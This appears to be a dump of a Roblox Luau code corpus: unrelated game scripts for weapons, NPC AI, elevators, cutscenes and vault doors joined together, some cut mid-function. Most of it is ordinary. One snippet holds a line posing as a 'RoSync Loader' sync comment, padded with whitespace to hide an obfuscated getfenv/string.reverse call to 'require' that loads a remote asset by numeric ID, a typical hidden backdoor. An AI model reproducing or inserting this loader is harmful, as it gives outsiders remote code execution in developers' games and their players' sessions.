Roblox/luau_corpus huggingface dataset:
-- Emporerj
wait(1)
local Config = script.Parent:WaitForChild("Configuration")
function GetGlowParts()
	local GlowParts = {}
	for i,v in pairs(workspace:GetChildren())do
		if v.Name == "GlowPart" then
			table.insert(GlowParts,v)
		end
	end
	return GlowParts
end

function MakeGlow(Part)
	if #GetGlowParts()<Config.MaxParts.Value then
		local GlowPart = Instance.new("Part")
		GlowPart.Name = "GlowPart"
		GlowPart.Size = Vector3.new(1,1,1)
		GlowPart.CanCollide = false
		GlowPart.Anchored = true
		GlowPart.Transparency = 1
		local Glow = Instance.new("PointLight",GlowPart)
		Glow.Brightness = 5
		Glow.Range = 8
		Glow.Color = Config.GlowColor.Value
		GlowPart.CFrame = CFrame.new(Part.Position.X,script.Parent.Position.Y+script.Parent.Size.Y/2,Part.Position.Z)
		GlowPart.Parent = workspace
		game:GetService("Debris"):AddItem(GlowPart,0.3)
		for i=8,1,-1 do
			Glow.Range = i
			wait(0.1)
		end
	end
end

script.Parent.Touched:connect(function(Hit)
	local humanoid = Hit.Parent:FindFirstChildWhichIsA("Humanoid")
	if humanoid then
		MakeGlow(humanoid.RootPart)
	elseif Config.PlayersOnly.Value == false then
		MakeGlow(Hit)
	end
end)
--	====================
--	BASIC
--	A basic settings for the gun
--	====================

		Auto = false;
		MuzzleOffset = Vector3.new(0, 0.60, -4.25);
		BaseDamage = 50;
		FireRate = 0.1; --In second
		ReloadTime = 1; --In second
		AmmoPerClip = 50; --Put "math.huge" to make this gun has infinite ammo and never reload
		Spread = 0.25; --In degree
		HeadshotEnabled = true; --Enable the gun to do extra damage on headshot
		HeadshotDamageMultiplier = 2;
		MouseIconID = "68308747";
		HitSoundIDs = {186809061,186809249,186809250,186809252};
		IdleAnimationID = 94331086; --Set to "nil" if you don't want to animate
		IdleAnimationSpeed = 1;
		FireAnimationID = nil; --Set to "nil" if you don't want to animate
		FireAnimationSpeed = 6;
		ReloadAnimationID = nil; --Set to "nil" if you don't want to animate
		ReloadAnimationSpeed = 1;
----- RUN MERRY-GO-ROUND -----

while wait() do
	if #occupants > 0 then
		velocity.AngularVelocity = velocity.AngularVelocity + Vector3.new(0, 0.2, 0) -- speeding up
		wait(0.1)
		for i = 1, #occupants do -- finding occupants to possibly fling :P
			if occupants[i] then
				local randNum = 1
				if math.ceil(occupants[i].HumanoidRootPart.Velocity.Magnitude) > 1 then
					randNum = math.random(1, math.ceil(occupants[i].HumanoidRootPart.Velocity.Magnitude))
				end
				if randNum >= 40 then
					flingPlayer(occupants[i])
					table.remove(occupants, i)
				end
			end
		end
	elseif velocity.AngularVelocity.Y > 0 then -- slowing down
		velocity.AngularVelocity = velocity.AngularVelocity - Vector3.new(0, math.min(0.3, velocity.AngularVelocity.Y), 0)
	end
end
--ROBLOX wants it this way

local TargetPart
for _,k in ipairs (script.Parent:GetChildren()) do
	if k:IsA("BasePart") then
		TargetPart = k
		break
	end
end

while workspace:IsAncestorOf(script) do
	if TargetPart:CanSetNetworkOwnership() then--not using this means a crash when the brick is anchored
		TargetPart:SetNetworkOwner(nil)
	end
	wait(3)
end
--				if ZombieTarget.HumanoidRootPart.Position.Y > model.HumanoidRootPart.Position.Y + 2 then
--					model.Humanoid.Jump = true
--				end
			end
			
		end
	end
	PursueState.Init = function()
	end
	
	-- AttackState: Keep moving towards target and play attack animation.
	local AttackState = StateMachine.NewState()
	AttackState.Name = "Attack"
	local lastAttack = os.time()
	local attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack)
	AttackState.Action = function()
		model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position)
		local now = os.time()
		if now - lastAttack > 3 then
			lastAttack = now
			attackTrack:Play()
		end
	end
	
	-- HuntState: Can't see target but NPC will move to target's last known location.
	-- Will eventually get bored and switch state.
	local HuntState = StateMachine.NewState()
	HuntState.Name = "Hunt"
	HuntState.Action = function()
		if ZombieTargetLastLocation then
			PathLib:MoveToTarget(model, ZombieTargetLastLocation)
		end
	end
	HuntState.Init = function()
		lastBored = os.time() + configs["BoredomDuration"] / 2
	end
	
	-- CONDITION DEFINITIONS	
	
	-- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and
	-- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed
	-- greater than 0 (this is to ignore inanimate objects that happen to use humanoids)
	local CanSeeTarget = StateMachine.NewCondition()
	CanSeeTarget.Name = "CanSeeTarget"
	CanSeeTarget.Evaluate = function()
		if model then
			-- Get list of all nearby Zombies and non-Zombie humanoids
			-- Zombie list is used to ignore zombies during later raycast
			local humanoids = HumanoidList:GetCurrent()	
			local zombies = {}
			local characters = {}
			for _, object in pairs(humanoids) do
				if object and object.Parent and object.Parent:FindFirstChild("HumanoidRootPart") and object.Health > 0 and object.WalkSpeed > 0 then				
					local torso = object.Parent:FindFirstChild("HumanoidRootPart")
					if torso then
						local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude
						if distance <= configs["AggroRange"] then
							if object.Parent.Name == "Drooling Zombie" then
								table.insert(zombies, object.Parent)
							else
								table.insert(characters, object.Parent)
							end
						end	
					end	
				end
			end	
			
			local target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs["FieldOfView"])
			if target then
				ZombieTarget = target
				return true
			end
--Disconnects the events if the tool is unparented.
local function DisconnectEvents()
	if not Tool.Parent then
		for _,Event in pairs(EventsToDisconnect) do
			Event:Disconnect()
		end
		EventsToDisconnect = {}
	end
end
---------------------------------------------------

local tweenService = game:GetService("TweenService")
This = script.Parent
Lift = This.Parent.Parent.Parent
CustomLabel = require(Lift.CustomLabel)
Characters = require(script.Characters)

CustomText = CustomLabel["CUSTOMFLOORLABEL"]

for i,v in pairs(Lift.Car:WaitForChild("Welds"):GetChildren()) do
	if v.Part1 == script.Parent.Back then v:Destroy() end
end
local weld = Instance.new("ManualWeld", This.Button)
weld.C0 = Lift.Car.Platform.CFrame:inverse() * This.Back.CFrame
weld.Part0 = Lift.Car.Platform
weld.Part1 = This.Back
click = false

function ChangeFloor(SF)
	if CustomText[tonumber(SF)] then
		SF = CustomText[tonumber(SF)]
	end
	if string.len(SF) == 1 then
		This.Label.DIG1.Mesh.Offset = Vector3.new(0, 0, 0)
		This.Label.DIG2.Mesh.Offset = Vector3.new(0.03, 0, 0)
	else
		This.Label.DIG1.Mesh.Offset = Vector3.new(0, 0, 0)
		This.Label.DIG2.Mesh.Offset = Vector3.new(0, 0, 0)
	end
	SetLabel(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))		
	SetLabel(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end



function SetLabel(ID,CHAR)
	if This.Label:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
 		for i,l in pairs(Characters[CHAR]) do 
			if CHAR == "1" or CHAR == "2" or CHAR == "3" or CHAR == "4" or CHAR == "5" or CHAR == "6" or CHAR == "7" or CHAR == "8" or CHAR == "9" or CHAR == "0" then
				This.Label["DIG"..ID].Mesh.Scale = Vector3.new(0.02, 0.11, 0.023)
			elseif CHAR == "+" or CHAR == "-" or CHAR == "#" or CHAR == "." or CHAR == "*" then
				This.Label["DIG"..ID].Mesh.Scale = Vector3.new(0.02, 0.07, 0.023)
			else
				This.Label["DIG"..ID].Mesh.Scale = Vector3.new(0.02, 0.16, 0.03)	
			end
			This.Label["DIG"..ID].Mesh.MeshId = "rbxassetid://"..l
		end
	end
end

ChangeFloor(This.Name)

for x,x in pairs(This.Button:GetChildren()) do 
	if x:IsA("SurfaceGui") and x.Name == ("Button") then 
		x.Button.MouseButton1Click:connect(function()
			if click == false then
				click = true
				tweenService:Create(weld,TweenInfo.new(0.1),{
					["C1"] = weld.C1*CFrame.new(0.002, 0, 0),
				}):Play()
				wait(0.1)
				tweenService:Create(weld,TweenInfo.new(0.1),{
					["C1"] = weld.C1*CFrame.new(-0.002, 0, 0),
				}):Play()
				wait(0.1)
				click = false
			end
		end)
	end
end
--Made by Stickmasterluke


sp=script.Parent


function updateicon()
	if themouse~=nil then
		if sp.Enabled then
			themouse.Icon="rbxasset://textures\\GunCursor.png"
		else
			themouse.Icon="rbxasset://textures\\GunWaitCursor.png"
		end
	end
end

function onEquipped(mouse)
	if mouse~=nil then
		themouse=mouse
	end
	updateicon()
end


sp.Equipped:connect(onEquipped)
sp.Changed:connect(updateicon)
--[[

		1) Put a part to the location you want to lock
		2) Change the lock to the one you want: QSI/QDF/QAC
		
		
		VALUES	

		AccessType =>
			Who has access to: QSI/QDF/QAC
		Actions => 
			1 (or if not defined) => Kills the player
			2 => Teleports the player into a Part named "TP" and throws a notification (Part TP must be inside the Action Value)
				=> If Inside Action there is a StringValue by the name of "Message" the notification GUI will send the text from it, otherwise it will send "You don't have access to this area." If you want to disable the message, set it to "OFF"
		
		Note: Make sure to NoCol and anchor the parts lol

		Thanks byeeee

]]--

require(path.to.module)(script.Parent)
--[[ Last synced 2/17/2021 07:27                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-- Credit: https://blog.elttob.uk/2022/11/07/sets-efficient-topological-search.html
local function updateAll(root: PubTypes.Dependency)
	local counters: {[Descendant]: number} = {}
	local flags: {[Descendant]: boolean} = {}
	local queue: {Descendant} = {}
	local queueSize = 0
	local queuePos = 1

	for object in root.dependentSet do
		queueSize += 1
		queue[queueSize] = object
		flags[object] = true
	end

	-- Pass 1: counting up
	while queuePos <= queueSize do
		local next = queue[queuePos]
		local counter = counters[next]
		counters[next] = if counter == nil then 1 else counter + 1
		if (next :: any).dependentSet ~= nil then
			for object in (next :: any).dependentSet do
				queueSize += 1
				queue[queueSize] = object
			end
		end
		queuePos += 1
	end

	-- Pass 2: counting down + processing
	queuePos = 1
	while queuePos <= queueSize do
		local next = queue[queuePos]
		local counter = counters[next] - 1
		counters[next] = counter
		if counter == 0 and flags[next] and next:update() and (next :: any).dependentSet ~= nil then
			for object in (next :: any).dependentSet do
				flags[object] = true
			end
		end
		queuePos += 1
	end
end

return updateAll
-- This function merges the Packages folder from a DevModule into a shared
-- location. Until we have an improved package implementation, we need to
-- manually dedupe our libraries to cut down on bloat
local function dedupePackages(packages: Instance)
	local packageStorage = getPackageStorage()

	for _, package in ipairs(packages:GetChildren()) do
		if package ~= script and package:IsA("ModuleScript") then
			local version = getPackageVersion(package)

			local existingVersion: ModuleScript
			for _, otherPackage in ipairs(packageStorage:GetChildren()) do
				if otherPackage.Name:match(("^%s_"):format(package.Name)) and otherPackage:IsA("ModuleScript") then
					if version == getPackageVersion(otherPackage) then
						existingVersion = otherPackage
						break
					end
				end
			end

			if not existingVersion then
				local clone = package:Clone() :: ModuleScript
				clone.Parent = packageStorage
				clone.Name = ("%s_%s"):format(clone.Name, version)
				existingVersion = clone
			end

			-- Link the package with the existing version (which was either
			-- there previously, or is the one we just generated)
			local packageRef = constants.PACKAGE_REF:Clone()
			packageRef.Name = package.Name

			local packageObject = packageRef:FindFirstChild("package")
			if packageObject and packageObject:IsA("ObjectValue") then
				packageObject.Value = existingVersion
			end
			packageRef.Parent = package.Parent

			package:Destroy()

			log("link", ("%s <-> %s"):format(package.Name, existingVersion:GetFullName()))
		end
	end
end
-- Start of Destroyed Animation
	-- Start of Flag Popping Animation
	Vehicle.Turret.Rod.Transparency = 0
	Vehicle.Turret.Rod.Hatch:Play()
	wait(1)
	
	Vehicle.Turret.Flag.Transparency = 0
	Vehicle.Turret.Flag.Pop:Play()
	Vehicle.Turret.Flag.Pop2:Play()

	wait()
	
	Vehicle.Turret.Flag.Pop.Volume = 0
	Vehicle.Turret.Flag.Pop2.Volume = 0
	Vehicle.Turret.Rod.Hatch.Volume = 0
	
	-- End of Flag Popping
	
	-- Start of Explosion Thingy
	local Explo = Instance.new ("Sound")
	Explo.SoundId = "rbxassetid://151776180"
	Explo.PlayOnRemove = false
	Explo.Parent = Engine
	Explo:play()
					
			
	wait()
	local Explosion = Instance.new("Explosion")
	Explosion.BlastRadius = 5
	Explosion.BlastPressure = 1
	Explosion.Parent = game.Workspace
	Explosion.Position = Engine.Position
	Explosion.DestroyJointRadiusPercent = 0
	
	-- 	End of Explosion Thingy
	
	-- Deletion of Velocities
	
	Engine.Parent.VehicleSeat.Throttle = Engine.Parent.VehicleSeat.Throttle
	Engine.Parent.VehicleSeat.MaxSpeed = Engine.Parent.VehicleSeat.MaxSpeed
	Engine.Parent.VehicleSeat.Steer = Engine.Parent.VehicleSeat.Steer
	
	Engine.BodyAngularVelocity:Destroy()
	Engine.BodyGyro:Destroy()
	Engine.BodyVelocity:Destroy()
	
	print("BodyAngularVelocity,BodyGyro,BodyVelocity Deleted, Enemy Tank Disabled")
	
	-- Generation of Fire
			
	local fi = Instance.new("Fire")
	fi.Heat = 25
	fi.Size = 10
	fi.Parent = Engine
	
	local Smokey = script.DisabledVehicleSmoke:Clone()
	Smokey.Parent = Engine
	Smokey.Name = "DSmoke"
	Smokey.Enabled = true
	print("End of DestroyScript")
	end
--[[
	Returns the enums.Device of the DeviceInputTypePattern that matches the
	`inputType`.

	This function is called when the LocalPlayer's LastInputType has changed,
	thus possibly requiring an update to the enums.Device
]]

local MerchBooth = script:FindFirstAncestor("MerchBooth")

local constants = require(MerchBooth.constants)
local enums = require(MerchBooth.enums)
-- Update the cutscene every render frame
RunService.RenderStepped:Connect(function(Delta)
	Demo:Update(Delta)
end)

if PlayOnPlayerJoin and PlayOnPlayerJoin.Value then
	-- Play the cutscene
	PlayCutscene()
end

if PlayOnPartTouch then
	local part = script.PlayOnPartTouch.Value
	if part and part:IsA("BasePart") then
		part.Touched:Connect(function(hit)
			if hit.Parent == Player.Character then
				PlayCutscene()
			end
		end)
	end
	PlayOnPartTouch:Destroy()
end

if PlayOnEventFire then
	local e = PlayOnEventFire.Value
	if e and e:IsA("BindableEvent") then
		e.Event:Connect(PlayCutscene)
	end
	PlayOnEventFire:Destroy()
end

if PlayOnRemoteEventFire then
	local e = PlayOnRemoteEventFire.Value
	if e and e:IsA("RemoteEvent") then
		e.OnClientEvent:Connect(PlayCutscene)
	end
	PlayOnRemoteEventFire:Destroy()
end

if StopOnRemoteEventFire then
	local e = StopOnRemoteEventFire.Value
	if e and e:IsA("RemoteEvent") then
		e.OnClientEvent:Connect(function()
			Demo:Stop()
		end)
	end
	StopOnRemoteEventFire:Destroy()
end

if StopOnRemoteEventFire then
	local e = StopOnRemoteEventFire.Value
	if e and e:IsA("RemoteEvent") then
		e.OnClientEvent:Connect(function()
			Demo:Stop()
		end)
	end
	StopOnRemoteEventFire:Destroy()
end

if CutsceneGui then
	CutsceneGui.Parent = Player:WaitForChild("PlayerGui")
	local SkipCutsceneButton = CutsceneGui:FindFirstChild("SkipCutscene", true)
	local PlayCutsceneButton = CutsceneGui:FindFirstChild("PlayCutscene", true)
	
	if SkipCutsceneButton and SkipCutsceneButton:IsA("GuiButton") then
		SkipCutsceneButton.MouseButton1Click:Connect(function()
			Demo:Stop()
		end)
	end
	
	if PlayCutsceneButton and PlayCutsceneButton:IsA("GuiButton") then
		PlayCutsceneButton.MouseButton1Click:Connect(function()
			PlayCutscene()
		end)
	end
	Demo.EStop.Event:Connect(function()
		CutsceneGui.Enabled = false
	end)
end

local Character = Player.Character or Player.CharacterAdded:Wait()

if PlayOnCharacterAdded and PlayOnCharacterAdded.Value then
	PlayCutscene()
end
if PlayOnCharacterDied and PlayOnCharacterDied.Value then
	local Humanoid = Character:WaitForChild("Humanoid")
	Character:WaitForChild("Humanoid").Died:Connect(function()
		PlayCutscene()
	end)
end
PlayOnCharacterAdded:Destroy()
--[[*
 * Performs equality by iterating through keys on an object and returning false
 * when any key has values which are not strictly equal between the arguments.
 * Returns true when the values of all keys are strictly equal.
]]
local function shallowEqual(objA, objB)
	if is(objA, objB) then
		return true
	end

	if
		typeof(objA) ~= "table"
		or objA == nil
		or typeof(objB) ~= "table"
		or objB == nil
	then
		return false
	end

	-- deviation: `Object.keys` does not have an equivalent in Lua, so we
	-- iterate through each table instead
	for key, value in objA do
		if not is(objB[key], value) then
			return false
		end
	end

	for key, value in objB do
		if not is(objA[key], value) then
			return false
		end
	end

	return true
end

return shallowEqual
--[[
	BaseCharacterController - Abstract base class for character controllers, not intended to be
	directly instantiated.
	
	2018 PlayerScripts Update - AllYourBlox		
--]]

local ZERO_VECTOR3 = Vector3.new(0,0,0)
-- A state object which follows another state object using spring simulation.
export type Spring<T> = StateObject<T> & Dependent & {
	-- kind: "Spring" (add this when Luau supports singleton types)
	-- Uncomment when ENABLE_PARAM_SETTERS is enabled
	-- setPosition: (Spring<T>, newValue: Animatable) -> (),
	-- setVelocity: (Spring<T>, newValue: Animatable) -> (),
	-- addVelocity: (Spring<T>, deltaValue: Animatable) -> ()
}
-- Connect 'MoveToFinished' event to the 'onWaypointReached' function
human.MoveToFinished:Connect(onWaypointReached)
-------- OMG HAX

r = game:service("RunService")


local damage = 5


local slash_damage = 12


sword = script.Parent.Handle
Tool = script.Parent


local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7


local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1

function isTurbo(character)
	return character:FindFirstChild("PirateHat") ~= nil
end



function blow(hit)
	local humanoid = hit.Parent:findFirstChild("Humanoid")
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
	local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
	if humanoid~=nil and humanoid ~= hum and hum ~= nil then
		-- final check, make sure sword is in-hand

		local right_arm = vCharacter:FindFirstChild("Right Arm")
		if (right_arm ~= nil) then
			local joint = right_arm:FindFirstChild("RightGrip")
			if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
				tagHumanoid(humanoid, vPlayer)
				if (isTurbo(vCharacter) == true) then
					humanoid:TakeDamage(damage * 1.5)
				else
					humanoid:TakeDamage(damage)
				end
				
				wait(1)
				untagHumanoid(humanoid)
			end
		end


	end
end


function tagHumanoid(humanoid, player)
	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = player
	creator_tag.Name = "creator"
	creator_tag.Parent = humanoid
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild("creator")
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end


function attack()
	damage = slash_damage
	SlashSound:play()
	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Slash"
	anim.Parent = Tool
end


function swordUp()
	Tool.GripForward = Vector3.new(-1,0,0)
	Tool.GripRight = Vector3.new(0,1,0)
	Tool.GripUp = Vector3.new(0,0,1)
end

function swordOut()
	Tool.GripForward = Vector3.new(0,0,1)
	Tool.GripRight = Vector3.new(0,-1,0)
	Tool.GripUp = Vector3.new(-1,0,0)
end



Tool.Enabled = true

function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return 
	end

	

	attack()

	wait(.5)

	Tool.Enabled = true
end


function onEquipped()
	UnsheathSound:play()
end


script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)


connection = sword.Touched:connect(blow)
--//both of you, dance like you want to win!

local SSS = game:GetService("ServerScriptService")
local TS = game:GetService("TweenService")
local Global = require(SSS.Server.Scripts.Server.CoreSystems.Modules.Global)

local Deb = false
local Status = false

local function Toggle()
	if not Deb then
		if not Status then --open
			Deb = true
			script.Parent.Sound.vaultdooropen:Play()
			if script.Parent.Vault.Door.VaultHandle:FindFirstChild("Motor") then
				TS:Create(script.Parent.Vault.Door.VaultHandle.Motor.HingeConstraint, TweenInfo.new(2), {AngularVelocity = -30}):Play()
			end
			wait(1.8)
			if script.Parent.Vault.Door.VaultHandle:FindFirstChild("Motor") then
				TS:Create(script.Parent.Vault.Door.VaultHandle.Motor.HingeConstraint, TweenInfo.new(4), {AngularVelocity = 0}):Play()
			end
			for i = 7,11 do
				Global.TweenModelBounceOut(script.Parent["Bar"..i].Bar, script.Parent["Bar"..i].ToGo.CFrame, true, .15)
			end
			
			wait(.9)
			for i = 1,3 do
				Global.TweenModelBounceOut(script.Parent["Bar"..i].Bar, script.Parent["Bar"..i].ToGo.CFrame, true, .375)
			end
			
			wait(1)
			for i = 4,6 do
				Global.TweenModelBounceOut(script.Parent["Bar"..i].Bar, script.Parent["Bar"..i].ToGo.CFrame, true, .375)
			end
			
			wait(.7)
			script.Parent.Vault.Door.VaultHandle.Motor.Anchored = true
			Global.TweenModel(script.Parent.Vault.Door, script.Parent.Vault.ToGo.CFrame, true, 6.5)
			
			wait(7)
			Status = true
			Deb = false
		else
			Deb = true
			script.Parent.Sound.vaultdoorclose:Play()
			Global.TweenModel(script.Parent.Vault.Door, script.Parent.Vault.Org.CFrame, true, 6.5)
			script.Parent.Vault.Door.VaultHandle.Motor.Anchored = false
			
			wait(1.3)
			if script.Parent.Vault.Door.VaultHandle:FindFirstChild("Motor") then
				TS:Create(script.Parent.Vault.Door.VaultHandle.Motor.HingeConstraint, TweenInfo.new(2), {AngularVelocity = 30}):Play()
			end
			wait(1.8)
			if script.Parent.Vault.Door.VaultHandle:FindFirstChild("Motor") then
				TS:Create(script.Parent.Vault.Door.VaultHandle.Motor.HingeConstraint, TweenInfo.new(4), {AngularVelocity = 0}):Play()
			end
			for i = 7,11 do
				Global.TweenModelBounceOut(script.Parent["Bar"..i].Bar, script.Parent["Bar"..i].Org.CFrame, true, .15)
			end
			
			wait(1.2)
			for i = 1,3 do
				Global.TweenModelBounceOut(script.Parent["Bar"..i].Bar, script.Parent["Bar"..i].Org.CFrame, true, .375)
			end
			
			wait(.75)
			for i = 4,6 do
				Global.TweenModelBounceOut(script.Parent["Bar"..i].Bar, script.Parent["Bar"..i].Org.CFrame, true, .375)
			end
			
			wait(3.5)
			Status = false
			Deb = false
		end
	end
end

script.Parent.ClickDetector.MouseClick:Connect(Toggle)